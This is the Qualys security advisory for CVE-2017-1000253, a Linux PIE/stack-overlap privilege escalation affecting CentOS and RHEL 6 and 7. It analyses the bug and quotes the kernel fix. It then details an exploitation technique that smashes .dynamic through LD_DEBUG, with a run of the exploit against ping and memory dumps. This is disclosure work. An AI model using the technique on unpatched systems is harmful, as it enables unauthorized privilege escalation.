Qualys Security Advisory Linux PIE/stack corruption (CVE-2017-1000253) ======================================================================== Contents ======================================================================== Summary Analysis Exploitation Acknowledgments ======================================================================== Summary ======================================================================== Linux distributions that have not patched their long-term kernels with https://git.kernel.org/linus/a87938b2e246b81b4fb713edb371a9fa3c5c3c86 (committed on April 14, 2015) are vulnerable to CVE-2017-1000253, a Local Privilege Escalation. Most notably, all versions of CentOS 7 before 1708 (released on September 13, 2017), all versions of Red Hat Enterprise Linux 7 before 7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red Hat Enterprise Linux 6 are exploitable. ======================================================================== Analysis ======================================================================== ------------------------------------------------------------------------ Pre-Stack-Clash kernels ------------------------------------------------------------------------ Occasionally, we have noticed a strange behavior with PIEs (Position-Independent Executables) on CentOS 7: Linux localhost.localdomain 3.10.0-514.21.1.el7.x86_64 #1 SMP Thu May 25 17:04:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 7ffbad3b3000-7ffbad56a000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbad56a000-7ffbad769000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbad769000-7ffbad76d000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbad76d000-7ffbad76f000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbad76f000-7ffbad774000 rw-p 00000000 00:00 0 7ffbad774000-7ffbad794000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbad967000-7ffbad98b000 rw-p 00000000 00:00 0 7ffbad990000-7ffbad991000 rw-p 00000000 00:00 0 7ffbad991000-7ffbad993000 r-xp 00000000 00:00 0 [vdso] 7ffbad993000-7ffbad994000 r--p 0001f000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbad994000-7ffbad995000 rw-p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbad995000-7ffbad996000 rw-p 00000000 00:00 0 7ffbad996000-7ffbad998000 r-xp 00000000 fd:00 4194375 /tmp/PIE 7ffbad999000-7ffbadb97000 rw-p 00000000 00:00 0 [stack] 7ffbadb97000-7ffbadb98000 r--p 00001000 fd:00 4194375 /tmp/PIE 7ffbadb98000-7ffbadbb9000 rw-p 00002000 fd:00 4194375 /tmp/PIE 7ffbadbba000-7ffc0d9ba000 rw-p 00000000 00:00 0 [heap] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] rsp 0x7ffbad9a0978 In this example, the kernel's execve() code erroneously mapped the PIE's read-write segment into the stack memory region, thus corrupting and dividing the stack into three parts: - 7ffbad999000-7ffbadb97000, the lowest part of the stack, is where the stack pointer (rsp) points to, after execve() returns to the userland; - 7ffbadb97000-7ffbadbb9000, the middle part of the stack, was replaced by the PIE's read-write segment (7ffbadb97000-7ffbadb98000 was later mprotect()ed read-only by RELRO), and hence a write to this part of the stack smashes the PIE's read-write segment, and vice versa; - 7ffbadbba000-7ffc0d9ba000, the highest part of the stack, is incorrectly displayed as the "[heap]" in /proc/pid/maps (because the program brk() points there), but is correctly flagged as a stack in /proc/pid/smaps (the "gd" flag, "grows down"). This kernel vulnerability was fixed in April 2015 by commit a87938b2e246b81b4fb713edb371a9fa3c5c3c86 (backported to Linux 3.10.77 in May 2015), but it was not recognized as a security threat. This fix was therefore not backported to long-term distributions such as CentOS: ------------------------------------------------------------------------ From: Michael Davidson <md@xxxxxxxxxx> Date: Tue, 14 Apr 2015 15:47:38 -0700 Subject: fs/binfmt_elf.c: fix bug in loading of PIE binaries With CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down address allocation strategy, load_elf_binary() will attempt to map a PIE binary into an address range immediately below mm->mmap_base. Unfortunately, load_elf_ binary() does not take account of the need to allocate sufficient space for the entire binary which means that, while the first PT_LOAD segment is mapped below mm->mmap_base, the subsequent PT_LOAD segment(s) end up being mapped above mm->mmap_base into the are that is supposed to be the "gap" between the stack and the binary. Since the size of the "gap" on x86_64 is only guaranteed to be 128MB this means that binaries with large data segments > 128MB can end up mapping part of their data segment over their stack resulting in corruption of the stack (and the data segment once the binary starts to run). Any PIE binary with a data segment > 128MB is vulnerable to this although address randomization means that the actual gap between the stack and the end of the binary is normally greater than 128MB. The larger the data segment of the binary the higher the probability of failure. Fix this by calculating the total size of the binary in the same way as load_elf_interp(). Signed-off-by: Michael Davidson <md@xxxxxxxxxx> Cc: Alexander Viro <viro@xxxxxxxxxxxxxxxxxx> Cc: Jiri Kosina <jkosina@xxxxxxx> Cc: Kees Cook <keescook@xxxxxxxxxxxx> Cc: <stable@xxxxxxxxxxxxxxx> Signed-off-by: Andrew Morton <akpm@xxxxxxxxxxxxxxxxxxxx> Signed-off-by: Linus Torvalds <torvalds@xxxxxxxxxxxxxxxxxxxx> --- fs/binfmt_elf.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c index 995986b..d925f55 100644 --- a/fs/binfmt_elf.c +++ b/fs/binfmt_elf.c @@ -862,6 +862,7 @@ static int load_elf_binary(struct linux_binprm *bprm) i < loc->elf_ex.e_phnum; i++, elf_ppnt++) { int elf_prot = 0, elf_flags; unsigned long k, vaddr; + unsigned long total_size = 0; if (elf_ppnt->p_type != PT_LOAD) continue; @@ -924,10 +925,16 @@ static int load_elf_binary(struct linux_binprm *bprm) #else load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr); #endif + total_size = total_mapping_size(elf_phdata, + loc->elf_ex.e_phnum); + if (!total_size) { + error = -EINVAL; + goto out_free_dentry; + } } error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, - elf_prot, elf_flags, 0); + elf_prot, elf_flags, total_size); if (BAD_ADDR(error)) { retval = IS_ERR((void *)error) ? PTR_ERR((void*)error) : -EINVAL; ------------------------------------------------------------------------ Unfortunately, this vulnerability is not limited to the PIEs whose read-write segment is larger than 128MB. Indeed, 128MB is the minimum distance between the mmap_base and the highest address of the stack, not the lowest address of the stack (CVE-2017-1000379): consequently, and as shown in our Stack Clash advisory, if we pass 1.5GB of argument strings to execve(), then any PIE may be mapped directly below the stack (and trigger CVE-2017-1000253) with a probability of ~1/17331 (5 hours on average, if each run takes 1 second). ------------------------------------------------------------------------ Post-Stack-Clash kernels ------------------------------------------------------------------------ As a proof-of-concept, we will publish CVE-2017-1000253.c, an exploit for ping on CentOS-7 kernel versions "3.10.0-514.21.2.el7.x86_64" and "3.10.0-514.26.1.el7.x86_64" (the first kernel updates after the Stack Clash). The PIE/stack layout on these post-Stack-Clash kernels differs slightly from the layout on pre-Stack-Clash kernels, since the size of the stack guard-page was increased from 4KB to 1MB: Linux localhost.localdomain 3.10.0-514.26.1.el7.x86_64 #1 SMP Thu Jun 29 16:05:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 7ffba9ee4000-7ffbaa09b000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbaa09b000-7ffbaa29a000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbaa29a000-7ffbaa29e000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbaa29e000-7ffbaa2a0000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbaa2a0000-7ffbaa2a5000 rw-p 00000000 00:00 0 7ffbaa2a5000-7ffbaa2c5000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbaa499000-7ffbaa4bd000 rw-p 00000000 00:00 0 7ffbaa4c2000-7ffbaa4c3000 rw-p 00000000 00:00 0 7ffbaa4c3000-7ffbaa4c5000 r-xp 00000000 00:00 0 [vdso] 7ffbaa4c5000-7ffbaa4c6000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbaa4c6000-7ffbaa4c7000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbaa4c7000-7ffbaa4c8000 rw-p 00000000 00:00 0 7ffbaa4c8000-7ffbaa4ca000 r-xp 00000000 fd:00 4194375 /tmp/PIE 7ffbaa5ca000-7ffbaa6c9000 rw-p 00000000 00:00 0 7ffbaa6c9000-7ffbaa6ca000 r--p 00001000 fd:00 4194375 /tmp/PIE 7ffbaa6ca000-7ffbaa6eb000 rw-p 00002000 fd:00 4194375 /tmp/PIE 7ffbaa7eb000-7ffc0a6eb000 rw-p 00000000 00:00 0 [heap] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] rsp 0x7ffbaa6d1c18 In this example, the kernel's execve() code also mapped the PIE's read-write segment into the stack memory region, and divided the stack into three parts, but: - 7ffbaa5ca000-7ffbaa6c9000, the lowest part of the stack, is not displayed as the "[stack]" in /proc/pid/maps (because rsp does not point there), but is correctly flagged as a stack in /proc/pid/smaps; - 7ffbaa6c9000-7ffbaa6eb000, the middle part of the stack, was replaced by the PIE's read-write segment, and is where rsp points to, after execve() returns to the userland; - 7ffbaa7eb000-7ffc0a6eb000, the highest part of the stack, is (again) incorrectly displayed as the "[heap]" in /proc/pid/maps, but is correctly flagged as a stack in /proc/pid/smaps. Older kernels (such as "3.10.0-514.21.1.el7.x86_64") and newer kernels (such as "3.10.0-514.26.2.el7.x86_64"), other distributions and other privileged PIEs (including SUID-root PIEs), are also exploitable, but the exploitation method must be adapted to slightly different PIE/stack layouts. This is left as an exercise for the interested reader. ======================================================================== Exploitation ======================================================================== Our CVE-2017-1000253.c exploit for CentOS-7 kernel versions "3.10.0-514.21.2.el7.x86_64" and "3.10.0-514.26.1.el7.x86_64" is very similar to our stack-clash exploit Linux_ldso_dynamic.c (we smash the PIE's .dynamic section with a stack-based string operation, and force ld.so to load and execute our own shared library), but with two important differences: - we do not need to jump over the stack guard-page, because rsp naturally points into the PIE's read-write segment after we trigger CVE-2017-1000253; - on 64-bit, all .dynamic tags contain null-bytes, a serious problem if we want to smash the .dynamic section with a null-terminated string. To solve this problem, we smash the .dynamic section with multiple calls to process_dl_debug(), a function called by process_envvars() very early in dl_main(), before elf_get_dynamic_info() parses the .dynamic section. process_dl_debug() is called for each LD_DEBUG environment variable, and calls strndupa() (strnlen(), alloca(), memcpy()) for each unknown option in LD_DEBUG, thus allowing us to smash the .dynamic section with multiple null-terminated strings, and hence multiple null-bytes. Unfortunately, the .dynamic entries that we build on the stack with process_dl_debug(): - DT_SYMTAB (tag 0x0000000000000006, value unused); - DT_STRTAB (tag 0x0000000000000005), an offset (into the PIE's read-execute segment) to our own .dynstr section -- this is later transformed by elf_get_dynamic_info() into an absolute address, allowing us to bypass ASLR; - DT_NEEDED (tag 0x0000000000000001), an offset (into our .dynstr section) to the pathname of our own shared library -- we use offset 0x238+1 into the PIE's read-execute segment, where the string "lib64/ld-linux-x86-64.so.2" is always stored; - DT_NULL (tag 0x0000000000000000, value unused); are partially destroyed by the stack-frames of further function calls (_dl_error_printf(), for example). Our solution to this problem is very specific to CentOS 7, and restricts this particular exploit to the PIEs whose .dynamic section's address modulo 16 is equal to 8: - we build our .dynamic tags through a stack variable used by memcpy() to store the address modulo 16 of the unknown options in LD_DEBUG; - we store our .dynamic values in an unused slot of process_dl_debug()'s stack-frame. One last, unexpected problem with this particular exploit is that rsp can never point into the highest part of the stack (after the kernel's execve() code divided the stack into three parts): indeed, the kernel's page-fault handler would then try to insert a stack guard-page below the highest part of the stack, and would SIGKILL our process because the PIE's read-write segment is already mapped there. The solution to this problem is simple, but further restricts this particular exploit to the PIEs whose read-write segment is large enough to encompass rsp: the kernel's page-fault handler will not try to insert a stack guard-page there, because the PIE's read-write segment is not flagged as a stack (VM_GROWSDOWN). For example, on a default, minimal CentOS 7, ping is privileged (cap_net_admin and cap_net_raw) and exploitable: [user@localhost tmp]$ getcap -r / 2>/dev/null /usr/bin/ping = cap_net_admin,cap_net_raw+p ... [user@localhost tmp]$ readelf -a /usr/bin/ping ... Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align ... LOAD 0x000000000000da58 0x000000000020da58 0x000000000020da58 0x0000000000000988 0x00000000000241e8 RW 200000 DYNAMIC 0x000000000000da78 0x000000000020da78 0x000000000020da78 0x0000000000000240 0x0000000000000240 RW 8 ... [user@localhost tmp]$ ./CVE-2017-1000253 /usr/bin/ping argv_size 101903 smash_size 36864 hi_smash_size 18432 lo_smash_size 18432 probability 1/16028 try 1 1.409649 exited 2 try 2 1.097508 exited 2 try 3 1.060084 exited 2 try 4 1.059042 exited 2 try 5 1.090841 exited 2 try 6 1.068993 exited 2 try 7 1.093662 exited 2 ... try 3411 1.018799 exited 2 try 3412 1.022255 exited 2 try 3413 1.022062 exited 2 try 3414 1.061316 exited 2 try 3415 1.024066 exited 2 try 3416 1.024864 exited 2 try 3417 1.043867 exited 2 Pid: 6301 Uid: 1000 1000 1000 Gid: 1000 1000 1000 CapInh: 0000000000000000 CapPrm: 0000000000003000 CapEff: 0000000000000000 [root@localhost tmp]# cat /proc/6301/status Name: ping ... Pid: 6301 ... Uid: 1000 1000 1000 1000 Gid: 1000 1000 1000 1000 ... CapInh: 0000000000000000 CapPrm: 0000000000003000 CapEff: 0000000000000000 ... [root@localhost tmp]# cat /proc/6301/maps 7ffbc573d000-7ffbc58f4000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbc58f4000-7ffbc5af3000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbc5af3000-7ffbc5af7000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbc5af7000-7ffbc5af9000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbc5af9000-7ffbc5afe000 rw-p 00000000 00:00 0 7ffbc5afe000-7ffbc5aff000 r-xp 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2 7ffbc5aff000-7ffbc5cfe000 ---p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2 7ffbc5cfe000-7ffbc5cff000 r--p 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2 7ffbc5cff000-7ffbc5d00000 rw-p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2 7ffbc5d00000-7ffbc5d20000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbc5f15000-7ffbc5f18000 rw-p 00000000 00:00 0 7ffbc5f1c000-7ffbc5f1e000 rw-p 00000000 00:00 0 7ffbc5f1e000-7ffbc5f20000 r-xp 00000000 00:00 0 [vdso] 7ffbc5f20000-7ffbc5f21000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbc5f21000-7ffbc5f22000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbc5f22000-7ffbc5f23000 rw-p 00000000 00:00 0 7ffbc5f23000-7ffbc5f31000 r-xp 00000000 fd:00 12968754 /usr/bin/ping 7ffbc6031000-7ffbc6130000 rw-p 00000000 00:00 0 7ffbc6130000-7ffbc6131000 r--p 0000d000 fd:00 12968754 /usr/bin/ping 7ffbc6131000-7ffbc6132000 rw-p 0000e000 fd:00 12968754 /usr/bin/ping 7ffbc6132000-7ffbc6155000 rw-p 00000000 00:00 0 [stack] 7ffbc6255000-7ffc29988000 rw-p 00000000 00:00 0 [heap] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] [root@localhost tmp]# gdb /usr/bin/ping 6301 ... (gdb) x/16384xg 0x7ffbc6130000 + 8 0x7ffbc6130008: 0x4141414141414141 0x4141414141414141 0x7ffbc6130018: 0x4141414141414141 0x4141414141414141 0x7ffbc6130028: 0x4141414141414141 0x4141414141414141 0x7ffbc6130038: 0x4141414141414141 0x4141414141414141 0x7ffbc6130048: 0x4141414141414141 0x4141414141414141 0x7ffbc6130058: 0x4141414141414141 0x4141414141414141 0x7ffbc6130068: 0x4141414141414141 0x4141414141414141 ... 0x7ffbc6132678: 0x4141414141414141 0x4141414141414141 0x7ffbc6132688: 0x4141414141414141 0x4141414141414141 0x7ffbc6132698: 0x4141414141414141 0x4141414141414141 0x7ffbc61326a8: 0x4141414141414141 0x4141414141414141 0x7ffbc61326b8: 0x4141414141414141 0x4141414141414141 0x7ffbc61326c8: 0x4141414141414141 0x4141414141414141 0x7ffbc61326d8: 0x4141414141414141 0x00007ffbc6132700 0x7ffbc61326e8: 0x00007ffbc5d01463 0x4141414141410041 0x7ffbc61326f8: 0x0000000000000005 0x888908844e7ab888 0x7ffbc6132708: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc6132718: 0x4141414141414141 0x4141414141414141 0x7ffbc6132728: 0x0041414141414141 0x00007ffbc6132740 0x7ffbc6132738: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc6132748: 0x4141414141414141 0x4141414141414141 0x7ffbc6132758: 0x4141414141414141 0x4141414141414141 0x7ffbc6132768: 0x4141414141414141 0x4141414141414141 0x7ffbc6132778: 0x4141414141414141 0x4141414141414141 0x7ffbc6132788: 0x4141414141414141 0x00007ffbc6132700 0x7ffbc6132798: 0x00007ffbc5d01463 0x4141414141410041 0x7ffbc61327a8: 0x0000000000000001 0x77777777777779b1 0x7ffbc61327b8: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc61327c8: 0x4141414141414141 0x4141414141414141 0x7ffbc61327d8: 0x0041414141414141 0x00007ffbc61327f0 0x7ffbc61327e8: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc61327f8: 0x4141414141414141 0x4141414141414141 0x7ffbc6132808: 0x4141414141414141 0x4141414141414141 0x7ffbc6132818: 0x4141414141414141 0x4141414141414141 0x7ffbc6132828: 0x4141414141414141 0x4141414141414141 0x7ffbc6132838: 0x4141414141414141 0x00007ffbc6132800 0x7ffbc6132848: 0x00007ffbc5d01463 0x4141414141410041 0x7ffbc6132858: 0x0000000000000006 0x4848c8440e3a7848 0x7ffbc6132868: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc6132878: 0x4141414141414141 0x4141414141414141 0x7ffbc6132888: 0x0000000000000000 0x00007ffbc61328a0 0x7ffbc6132898: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc61328a8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328b8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328c8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328d8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328e8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328f8: 0x4141414141414141 0x4141414141414141 ... (gdb) x/s 0x888908844e7ab888 + 0x77777777777779b1 0x7ffbc5f23239: "lib64/ld-linux-x86-64.so.2" ======================================================================== Acknowledgments ======================================================================== We thank Red Hat and the members of the linux-distros@openwall list.